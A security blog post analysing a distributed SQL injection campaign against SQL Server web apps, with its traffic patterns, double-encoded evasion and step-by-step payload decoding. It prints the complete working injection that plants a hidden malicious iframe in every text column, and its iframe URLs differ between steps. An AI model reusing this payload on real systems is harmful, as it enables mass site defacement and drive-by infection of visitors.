Distributed SQL Injection Attack

I recently came across some suspicious web app traffic that caught my eye; even though attack characteristics are generally well known, we can still learn a lot from analyzing malicious traffic. Things, for example, like:

1. The way the attack is being distributed.
2. Attack execution flow.
3. The advanced methods that are being used in todays attacks.

Before diving into the technical details, let’s look at the attack payload and try to understand what we have:

• SQL injection – the payload contains SQL statement keywords such as: declare, varchar(, exec(, set.
• Attack obfuscation - part of the payload is in plain text while other parts are obfuscated with SQL server function “cast()”.
• Single packet attack – one request that contains the entire SQL injection payload.

Traffic forensics:
More detailed information on the observed malicious traffic:

1.  More than one source – we can see that the attacks are coming from a variety of sources (different countries).
2. Same payload – we can see that the same payload is being used in all the attacks.
3. Not the same URL – the attack is executed on a variety of URLs in the application.
4. Source country – this is often a good indication of the detection validity. In this case the list of source countries contains countries that are well-known sources of attack.
5. Double encoding – in the technical explanation we will see that payload data is being obfuscated twice.
6. Case sensitivity – in the technical explanation below, we will see that the payload is written in mixed upper/lower case letters.

Summary:
Items 1 to 4 give us good indication that this attack should be considered as distributed SQL injection, probably being executed by BotNet.
Items 5 and 6 show that the attack initiator knew there might be web application filters on the way to the web app, and was trying to evade attack detection by those security filters.
The same attack pattern was used by a botnet named Asprox in 2008, using a similar SQL statement, but with different infected HTML data.

Attacks are clearly becoming more and more sophisticated, aided by the internet’s unlimited resources to improve attack robustness. They are making it harder to be blocked based only on the source of the attack, and are making it more difficult to be detected without advanced payload processing capabilities (in other words, they are likely to evade security measures that do not have the capability of double decoding).


Technical explanation:
Step 1 – First Decoding
Taking the attack payload and performing first decoding (ASCII hex. I also omitted the first cast function) will give us the following payload:

declare @s varchar(4000);set @s=DECLaRe @T varchAr(255),@C vArCHaR(255) DeClaRE tABLE_cURsOR cURSor FoR selEct A.NaMe,B.NAME FrOm sYsoBjECTs a,sysCOLuMNs b wHerE a.Id=b.id and a.xType='u' and (B.XTyPE=99 or b.xtyPE=35 oR B.XtyPe=231 Or b.xtype=167) Open TABle_cuRsOR FetCH nEXT frOM TaBle_cURsOR inTO @T,@c wHiLe(@@FEtCH_sTatUs=0) BEGin exeC('UPDATE ['+@T+'] Set ['+@C+']=RtRim(ConVeRT(vArcHar(4000),['+@C+']))+CAST(0X3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E as VarcHAR(106))') feTCh neXt FrOm taBLe_CursOR iNTO @T,@C eNd close tABLe_cursOR dEaLlOCaTE tAblE_cursoR as varchar(4000));exec(@s);--

Step 2 – Second Decoding
More decoding is required here and this is how it looks after a second ASCII hex decoding (omitting the second cast function from the payload):

declare @s varchar(4000);set @s=DECLaRe @T varchAr(255),@C vArCHaR(255) DeClaRE tABLE_cURsOR cURSor FoR selEct A.NaMe,B.NAME FrOm sYsoBjECTs a,sysCOLuMNs b wHerE a.Id=b.id and a.xType='u' and (B.XTyPE=99 or b.xtyPE=35 oR B.XtyPe=231 Or b.xtype=167) Open TABle_cuRsOR FetCH nEXT frOM TaBle_cURsOR inTO @T,@c wHiLe(@@FEtCH_sTatUs=0) BEGin exeC('UPDATE ['+@T+'] Set ['+@C+']=RtRim(ConVeRT(vArcHar(4000),['+@C+']))+ <iframe height="0" src="http://xxxx.ru/tds/go.php?sid=1" style="display: none;" width="0"></iframe>as VarcHAR(106))') feTCh neXt FrOm taBLe_CursOR iNTO @T,@C eNd close tABLe_cursOR dEaLlOCaTE tAblE_cursoR as varchar(4000));exec(@s);--

Now we have the fully decoded payload and we can see that the attack target is SQL servers (using SQL Server system tables).

Step 3 - Executed SQL Statement Analysis
The SQL statement executes the following logic:

a. It selects object names from tables sysobjects (a table that contains one row for each object created within a database) and syscolumns (a table that contains one row for every column in every table and view), looking for the following condition:

WHERE A.id=B.id AND A.XTYPE='U' AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167)

This means the same object id with XTYPE (identifies the type of object) using user table and using textual datatype (99= ntext, 35=text, 231= nvarchar or 167= varchar).
In other words the query finds all the user defined tables and columns.

b. It uses the collected tables and columns and updates their values with this iFrame payload:

<iframe height="0" src="http://xxxx.ru:8080/index.php?pid=13" style="display: none;" width="0"></iframe>


Step 4 - Following the Attack’s Footsteps:
When trying to access http://xxxx.ru:8080/index.php?pid=13 (I obfuscated the original site name) we find that this page is no longer accessible.